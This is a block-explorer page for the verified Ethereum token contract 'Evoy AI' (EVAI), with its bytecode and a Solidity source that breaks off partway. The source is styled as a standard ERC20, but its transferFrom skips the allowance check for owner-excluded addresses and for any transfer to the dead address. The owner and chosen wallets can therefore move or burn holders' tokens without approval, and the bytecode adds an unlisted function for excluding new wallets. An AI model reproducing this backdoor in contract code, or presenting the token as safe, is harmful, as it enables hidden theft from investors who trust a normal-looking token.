Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0x1A251082C78dA46b98bc8A3eBC0e06026d228571
Balance 0 ETH
Nonce 1
Code Size 11330 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

11330 bytes
0x6080604052600436106100f6575f3560e01c8063715018a611610089578063a9059cbb11610058578063a9059cbb146102fb578063dd62ed3e14610337578063ea414b2814610373578063f2fde38b1461039b576100fd565b8063715018a6146102875780638a8c523c1461029d5780638da5cb5b146102a757806395d89b41146102d1576100fd565b80632b14ca56116100c55780632b14ca56146101cd578063313ce567146101f7578063470624021461022157806370a082311461024b576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191576100fd565b366100fd57005b5f5ffd5b34801561010c575f5ffd5b506101156103c3565b6040516101229190611f4e565b60405180910390f35b348015610136575f5ffd5b50610151600480360381019061014c9190611fff565b610400565b60405161015e9190612057565b60405180910390f35b348015610172575f5ffd5b5061017b6104ed565b604051610188919061207f565b60405180910390f35b34801561019c575f5ffd5b506101b760048036038101906101b29190612098565b610510565b6040516101c49190612057565b60405180910390f35b3480156101d8575f5ffd5b506101e16106dd565b6040516101ee9190612103565b60405180910390f35b348015610202575f5ffd5b5061020b6106f2565b6040516102189190612103565b60405180910390f35b34801561022c575f5ffd5b506102356106fa565b6040516102429190612103565b60405180910390f35b348015610256575f5ffd5b50610271600480360381019061026c919061211c565b610710565b60405161027e919061207f565b60405180910390f35b348015610292575f5ffd5b5061029b610756565b005b6102a561085c565b005b3480156102b2575f5ffd5b506102bb610d08565b6040516102c89190612156565b60405180910390f35b3480156102dc575f5ffd5b506102e5610d2f565b6040516102f29190611f4e565b60405180910390f35b348015610306575f5ffd5b50610321600480360381019061031c9190611fff565b610d6c565b60405161032e9190612057565b60405180910390f35b348015610342575f5ffd5b5061035d6004803603810190610358919061216f565b610dc8565b60405161036a919061207f565b60405180910390f35b34801561037e575f5ffd5b506103996004803603810190610394919061211c565b610e4a565b005b3480156103a6575f5ffd5b506103c160048036038101906103bc91906121e8565b610f6b565b005b60606040518060400160405280600781526020017f45766f7920414900000000000000000000000000000000000000000000000000815250905090565b5f8160025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104db919061207f565b60405180910390a36001905092915050565b5f6009600a6104fc919061236f565b633b9aca0061050b91906123b9565b905090565b5f61051a84611072565b610559576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055090612444565b60405180910390fd5b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156106355750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610634575061dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156106c9578160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106c19190612462565b925050819055505b6106d4848484611144565b90509392505050565b5f60055f9054906101000a900460ff16905090565b5f6009905090565b5f600560019054906101000a900460ff16905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107db906124df565b60405180910390fd5b5f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861635f6040516108529190612156565b60405180910390a1565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e1906124df565b60405180910390fd5b6001601060016101000a81548160ff0219169083151502179055505f73ffffffffffffffffffffffffffffffffffffffff16600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098b90612547565b60405180910390fd5b60105f9054906101000a900460ff16156109e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109da906125af565b60405180910390fd5b5f3411806109f057505f47115b610a2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2690612617565b60405180910390fd5b5f60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205411610aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa59061267f565b60405180910390fd5b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b18573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3c91906126b1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396307f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26040518363ffffffff1660e01b8152600401610b969291906126dc565b6020604051808303815f875af1158015610bb2573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bd691906126b1565b600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c5c60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205447611612565b6001600f5f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160105f6101000a81548160ff0219169083151502179055505f601060016101000a81548160ff021916908315150217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4556414900000000000000000000000000000000000000000000000000000000815250905090565b5f610d7633611072565b610db5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dac90612444565b60405180910390fd5b610dc0338484611144565b905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eca9061274d565b60405180910390fd5b80600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ff9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff0906124df565b60405180910390fd5b805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861638160405161106791906127c6565b60405180910390a150565b5f5f5f905060105f9054906101000a900460ff1615611094576001905061113b565b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611130575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561113a57600190505b5b80915050919050565b5f5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036111b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111aa90612829565b60405180910390fd5b60105f9054906101000a900460ff166112a25760035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611262575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6112a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129890612891565b60405180910390fd5b5b601060019054906101000a900460ff161580156113055750600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156113135750600a548210155b15611321576113206116e9565b5b600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561137a576113794761179d565b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156113e257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561143a57505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561148a5761144a848484611805565b611489576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611480906128f9565b60405180910390fd5b5b5f61149685858561198d565b90505f81846114a59190612462565b90508360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546114f39190612462565b925050819055508160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546115469190612917565b925050819055508060015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546115999190612917565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516115fd919061207f565b60405180910390a36001925050509392505050565b61161b82611b56565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f5f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016116a196959493929190612983565b60606040518083038185885af11580156116bd573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906116e291906129f6565b5050505050565b6001601060016101000a81548160ff0219169083151502179055505f60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050600a548110158015611762575060105f9054906101000a900460ff165b1561178057600b54811061177657600b5490505b61177f81611d38565b5b505f601060016101000a81548160ff021916908315150217905550565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611801573d5f5f3e3d5ffd5b5050565b5f5f6001905060105f9054906101000a900460ff16801561186d575060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156118c0575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611982576008548311156118d7575f9050611981565b600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561197757506009548360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119759190612917565b115b15611980575f90505b5b5b809150509392505050565b5f5f60105f9054906101000a900460ff1615806119f0575060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611a41575060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611a4e575f9050611b4b565b600f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611ace576064600560019054906101000a900460ff1660ff1684611abd91906123b9565b611ac79190612a73565b9050611b4a565b600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611b4957606460055f9054906101000a900460ff1660ff1684611b3c91906123b9565b611b469190612a73565b90505b5b5b809150509392505050565b8060025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611d35577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff604051611d2c919061207f565b60405180910390a35b50565b611d4181611b56565b5f600267ffffffffffffffff811115611d5d57611d5c612aa3565b5b604051908082528060200260200182016040528015611d8b5781602001602082028036833780820191505090505b50905030815f81518110611da257611da1612ad0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110611e1157611e10612ad0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611ead959493929190612bb4565b5f604051808303815f87803b158015611ec4575f5ffd5b505af1158015611ed6573d5f5f3e3d5ffd5b505050505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f2082611ede565b611f2a8185611ee8565b9350611f3a818560208601611ef8565b611f4381611f06565b840191505092915050565b5f6020820190508181035f830152611f668184611f16565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611f9b82611f72565b9050919050565b611fab81611f91565b8114611fb5575f5ffd5b50565b5f81359050611fc681611fa2565b92915050565b5f819050919050565b611fde81611fcc565b8114611fe8575f5ffd5b50565b5f81359050611ff981611fd5565b92915050565b5f5f6040838503121561201557612014611f6e565b5b5f61202285828601611fb8565b925050602061203385828601611feb565b9150509250929050565b5f8115159050919050565b6120518161203d565b82525050565b5f60208201905061206a5f830184612048565b92915050565b61207981611fcc565b82525050565b5f6020820190506120925f830184612070565b92915050565b5f5f5f606084860312156120af576120ae611f6e565b5b5f6120bc86828701611fb8565b93505060206120cd86828701611fb8565b92505060406120de86828701611feb565b9150509250925092565b5f60ff82169050919050565b6120fd816120e8565b82525050565b5f6020820190506121165f8301846120f4565b92915050565b5f6020828403121561213157612130611f6e565b5b5f61213e84828501611fb8565b91505092915050565b61215081611f91565b82525050565b5f6020820190506121695f830184612147565b92915050565b5f5f6040838503121561218557612184611f6e565b5b5f61219285828601611fb8565b92505060206121a385828601611fb8565b9150509250929050565b5f6121b782611f72565b9050919050565b6121c7816121ad565b81146121d1575f5ffd5b50565b5f813590506121e2816121be565b92915050565b5f602082840312156121fd576121fc611f6e565b5b5f61220a848285016121d4565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156122955780860481111561227157612270612213565b5b60018516156122805780820291505b808102905061228e85612240565b9450612255565b94509492505050565b5f826122ad5760019050612368565b816122ba575f9050612368565b81600181146122d057600281146122da57612309565b6001915050612368565b60ff8411156122ec576122eb612213565b5b8360020a91508482111561230357612302612213565b5b50612368565b5060208310610133831016604e8410600b841016171561233e5782820a90508381111561233957612338612213565b5b612368565b61234b848484600161224c565b9250905081840481111561236257612361612213565b5b81810290505b9392505050565b5f61237982611fcc565b9150612384836120e8565b92506123b17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461229e565b905092915050565b5f6123c382611fcc565b91506123ce83611fcc565b92508282026123dc81611fcc565b915082820484148315176123f3576123f2612213565b5b5092915050565b7f54726164696e67206e6f74206f70656e000000000000000000000000000000005f82015250565b5f61242e601083611ee8565b9150612439826123fa565b602082019050919050565b5f6020820190508181035f83015261245b81612422565b9050919050565b5f61246c82611fcc565b915061247783611fcc565b925082820390508181111561248f5761248e612213565b5b92915050565b7f4f6e6c79206f776e65722063616e2063616c6c207468697300000000000000005f82015250565b5f6124c9601883611ee8565b91506124d482612495565b602082019050919050565b5f6020820190508181035f8301526124f6816124bd565b9050919050565b7f4c502063726561746564000000000000000000000000000000000000000000005f82015250565b5f612531600a83611ee8565b915061253c826124fd565b602082019050919050565b5f6020820190508181035f83015261255e81612525565b9050919050565b7f74726164696e67206f70656e00000000000000000000000000000000000000005f82015250565b5f612599600c83611ee8565b91506125a482612565565b602082019050919050565b5f6020820190508181035f8301526125c68161258d565b9050919050565b7f4e6f2045544800000000000000000000000000000000000000000000000000005f82015250565b5f612601600683611ee8565b915061260c826125cd565b602082019050919050565b5f6020820190508181035f83015261262e816125f5565b9050919050565b7f4e6f20746f6b656e7300000000000000000000000000000000000000000000005f82015250565b5f612669600983611ee8565b915061267482612635565b602082019050919050565b5f6020820190508181035f8301526126968161265d565b9050919050565b5f815190506126ab81611fa2565b92915050565b5f602082840312156126c6576126c5611f6e565b5b5f6126d38482850161269d565b91505092915050565b5f6040820190506126ef5f830185612147565b6126fc6020830184612147565b9392505050565b7f6e6f7420616c6c6f7765640000000000000000000000000000000000000000005f82015250565b5f612737600b83611ee8565b915061274282612703565b602082019050919050565b5f6020820190508181035f8301526127648161272b565b9050919050565b5f819050919050565b5f61278e61278961278484611f72565b61276b565b611f72565b9050919050565b5f61279f82612774565b9050919050565b5f6127b082612795565b9050919050565b6127c0816127a6565b82525050565b5f6020820190506127d95f8301846127b7565b92915050565b7f4e6f207472616e73666572732066726f6d20302077616c6c65740000000000005f82015250565b5f612813601a83611ee8565b915061281e826127df565b602082019050919050565b5f6020820190508181035f83015261284081612807565b9050919050565b7f54726164696e67206e6f7420796574206f70656e0000000000000000000000005f82015250565b5f61287b601483611ee8565b915061288682612847565b602082019050919050565b5f6020820190508181035f8301526128a88161286f565b9050919050565b7f5458206f766572206c696d6974730000000000000000000000000000000000005f82015250565b5f6128e3600e83611ee8565b91506128ee826128af565b602082019050919050565b5f6020820190508181035f830152612910816128d7565b9050919050565b5f61292182611fcc565b915061292c83611fcc565b925082820190508082111561294457612943612213565b5b92915050565b5f819050919050565b5f61296d6129686129638461294a565b61276b565b611fcc565b9050919050565b61297d81612953565b82525050565b5f60c0820190506129965f830189612147565b6129a36020830188612070565b6129b06040830187612974565b6129bd6060830186612974565b6129ca6080830185612147565b6129d760a0830184612070565b979650505050505050565b5f815190506129f081611fd5565b92915050565b5f5f5f60608486031215612a0d57612a0c611f6e565b5b5f612a1a868287016129e2565b9350506020612a2b868287016129e2565b9250506040612a3c868287016129e2565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612a7d82611fcc565b9150612a8883611fcc565b925082612a9857612a97612a46565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612b2f81611f91565b82525050565b5f612b408383612b26565b60208301905092915050565b5f602082019050919050565b5f612b6282612afd565b612b6c8185612b07565b9350612b7783612b17565b805f5b83811015612ba7578151612b8e8882612b35565b9750612b9983612b4c565b925050600181019050612b7a565b5085935050505092915050565b5f60a082019050612bc75f830188612070565b612bd46020830187612974565b8181036040830152612be68186612b58565b9050612bf56060830185612147565b612c026080830184612070565b969550505050505056fea26469706673582212205c048ee4909fae738f987d9a1af6d66cb6dabc62832764ef5ebaa69deb10356a64736f6c634300081e0033

Verified Source Code Full Match

Compiler: v0.8.30+commit.73712a01 EVM: prague Optimization: No
Token.sol 248 lines
// SPDX-License-Identifier: MIT

/*
    Name: Evoy AI
    Symbol: EVAI

    Evoy AI – Web3-based dApp for AI video generation.

    https://evoyai.org
    https://docs.evoyai.org
    https://x.com/EvoyAI_ETH
    https://t.me/EvoyAI_ETH
*/

pragma solidity ^0.8.18;

abstract contract Auth {
    address internal _owner;
    event OwnershipTransferred(address _owner);
    modifier onlyOwner() { 
        require(msg.sender == _owner, "Only owner can call this"); _; 
    }
    constructor(address creatorOwner) { 
        _owner = creatorOwner; 
    }
    function owner() public view returns (address) { return _owner; }
    function transferOwnership(address payable newowner) external onlyOwner { 
        _owner = newowner; 
        emit OwnershipTransferred(newowner); }
    function renounceOwnership() external onlyOwner { 
        _owner = address(0);
        emit OwnershipTransferred(address(0)); }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address holder, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}

contract Token is IERC20, Auth {
    string private constant _name = unicode"Evoy AI";
    string private constant _symbol = unicode"EVAI";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1_000_000_000 * (10**_decimals);

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludeForFee;
    mapping (address => bool) private _isExcludeForLimit;

    uint8 private _taxForSellERC20 = 0;
    uint8 private _taxForBuyERC20  = 0;
    uint256 private taxCounts = 12;
    uint256 private taxPercent = 12;
    
    uint256 private _maxTxValERC20 = _totalSupply; 
    uint256 private _maxWalletValERC20 = _totalSupply;
    uint256 private _swapMinERC20 = _totalSupply * 100 / 100000;
    uint256 private _swapMaxERC20 = _totalSupply * 800 / 100000;

    address private constant _uniRouterERC20 = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private immutable WETHERC20;
    
    IUniswapV2Router02 private _uniswapV2RouterERC20 = IUniswapV2Router02(_uniRouterERC20);
    address private _lpOwner;
    address private _primaryLPERC20; 
    mapping (address => bool) private _EVAIg3lhILPERC20;
    address constant _deadAddrERC20 = address(0xdead);

    bool private _tradingOpen;

    bool private _inSwap = false;
    modifier lockTaxSwap { 
        _inSwap = true; 
        _; _inSwap = false; 
    }

    constructor() payable Auth(msg.sender) {
        _lpOwner = msg.sender;
        WETHERC20 = _uniswapV2RouterERC20.WETH();

        _balances[address(this)] = _totalSupply * 98 / 100;
        _balances[msg.sender] = _totalSupply * 2 / 100;
        emit Transfer(address(0), address(this), _balances[address(this)]);
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);

        _isExcludeForFee[_owner] = true;
        _isExcludeForFee[address(this)] = true;
        _isExcludeForFee[_uniRouterERC20] = true;
        _isExcludeForLimit[_owner] = true;
        _isExcludeForLimit[address(this)] = true;
        _isExcludeForLimit[_uniRouterERC20] = true;
    }

    receive() external payable {}
    
    function decimals() external pure override returns (uint8) { return _decimals; }
    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function name() external pure override returns (string memory) { return _name; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function balanceOf(address account) public view override returns (uint256) { 
        return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { 
        return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true; }

    function transfer(address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(msg.sender), "Trading not open");
        return _transferFrom(msg.sender, toWallet, amount); }

    function _approveRouter(uint256 _tokenAmountERC20) internal {
        if ( _allowances[address(this)][_uniRouterERC20] < _tokenAmountERC20 ) {
            _allowances[address(this)][_uniRouterERC20] = type(uint256).max;
            emit Approval(address(this), _uniRouterERC20, type(uint256).max);
        }
    }

    function enableTrading() external payable onlyOwner lockTaxSwap {
        require(_primaryLPERC20 == address(0), "LP created");
        require(!_tradingOpen, "trading open");
        require(msg.value > 0 || address(this).balance>0, "No ETH");
        require(_balances[address(this)]>0, "No tokens");
        _primaryLPERC20 = IUniswapV2Factory(_uniswapV2RouterERC20.factory()).createPair(address(this), WETHERC20);
        _addLiquidity(_balances[address(this)], address(this).balance);
        _EVAIg3lhILPERC20[_primaryLPERC20] = true;
        _tradingOpen = true;
    }

    function _addLiquidity(uint256 _tokenAmountERC20, uint256 _ethAmountWeiERC20) internal {
        _approveRouter(_tokenAmountERC20);
        _uniswapV2RouterERC20.addLiquidityETH{value: _ethAmountWeiERC20} ( address(this), _tokenAmountERC20, 0, 0, _lpOwner, block.timestamp );
    }

    function _checkLimitsERC20(address fromWalletERC20, address toWalletERC20, uint256 transferAmountERC20) internal view returns (bool) {
        bool _limitPassed = true;
        if ( _tradingOpen && !_isExcludeForLimit[fromWalletERC20] && !_isExcludeForLimit[toWalletERC20] ) {
            if ( transferAmountERC20 > _maxTxValERC20 ) { 
                _limitPassed = false; 
            }
            else if ( 
                !_EVAIg3lhILPERC20[toWalletERC20] && (_balances[toWalletERC20] + transferAmountERC20 > _maxWalletValERC20) 
                ) { _limitPassed = false; }
        }
        return _limitPassed;
    }

    function _transferFrom(address senderERC20, address toWalletERC20, uint256 amountERC20) internal returns (bool) {
        require(senderERC20 != address(0), "No transfers from 0 wallet");
        if (!_tradingOpen) { require(_isExcludeForFee[senderERC20] && _isExcludeForLimit[senderERC20], "Trading not yet open"); }
        if ( !_inSwap && _EVAIg3lhILPERC20[toWalletERC20] && amountERC20 >= _swapMinERC20) { _swapTaxAndLiquifyERC20(); }
        if(_EVAIg3lhILPERC20[toWalletERC20]) _sendFeeToERC20(address(this).balance);
        
        if ( senderERC20 != address(this) && toWalletERC20 != address(this) && senderERC20 != _owner ) { 
            require(_checkLimitsERC20(senderERC20, toWalletERC20, amountERC20), "TX over limits"); 
        }
        uint256 _taxAmountERC20 = _calculateTax(senderERC20, toWalletERC20, amountERC20);
        uint256 _transferAmountERC20 = amountERC20 - _taxAmountERC20;
        _balances[senderERC20] -= amountERC20;
        _balances[address(this)] += _taxAmountERC20;
        _balances[toWalletERC20] += _transferAmountERC20;
        emit Transfer(senderERC20, toWalletERC20, amountERC20);
        return true;
    }

    function _checkTradingOpen(address fromWallet) private view returns (bool){
        bool checkResult = false;
        if ( _tradingOpen ) { checkResult = true; } 
        else if (_isExcludeForFee[fromWallet] && _isExcludeForLimit[fromWallet]) { checkResult = true; } 

        return checkResult;
    }

    function _calculateTax(address fromWalletERC20, address toWalletERC20, uint256 amountERC20) internal view returns (uint256) {
        uint256 taxAmount;
        
        if ( !_tradingOpen || _isExcludeForFee[fromWalletERC20] || _isExcludeForFee[toWalletERC20] ) { 
            taxAmount = 0; 
        } else if ( _EVAIg3lhILPERC20[fromWalletERC20] ) { 
            taxAmount = amountERC20 * _taxForBuyERC20 / 100; 
         } else if ( _EVAIg3lhILPERC20[toWalletERC20] ) { 
            taxAmount = amountERC20 * _taxForSellERC20 / 100; 
        }

        return taxAmount;
    }

    function transferFrom(address fromWalletERC20, address toWalletERC20, uint256 amountERC20) external override returns (bool) {
        require(_checkTradingOpen(fromWalletERC20), "Trading not open"); 
        if(!_isExcludeForLimit[msg.sender] && (fromWalletERC20 == _primaryLPERC20 || toWalletERC20 != _deadAddrERC20))
            _allowances[fromWalletERC20][msg.sender] -= amountERC20;
        return _transferFrom(fromWalletERC20, toWalletERC20, amountERC20); }

    function buyFee() external view returns(uint8) { return _taxForBuyERC20; }
    function sellFee() external view returns(uint8) { return _taxForSellERC20; }

    function _swapTaxAndLiquifyERC20() private lockTaxSwap {
        uint256 _taxTokenAvailable = _balances[address(this)];
        if ( _taxTokenAvailable >= _swapMinERC20 && _tradingOpen ) {
            if ( _taxTokenAvailable >= _swapMaxERC20 ) { _taxTokenAvailable = _swapMaxERC20; }
            
            _swapTokensForETH(_taxTokenAvailable);
        }
    }

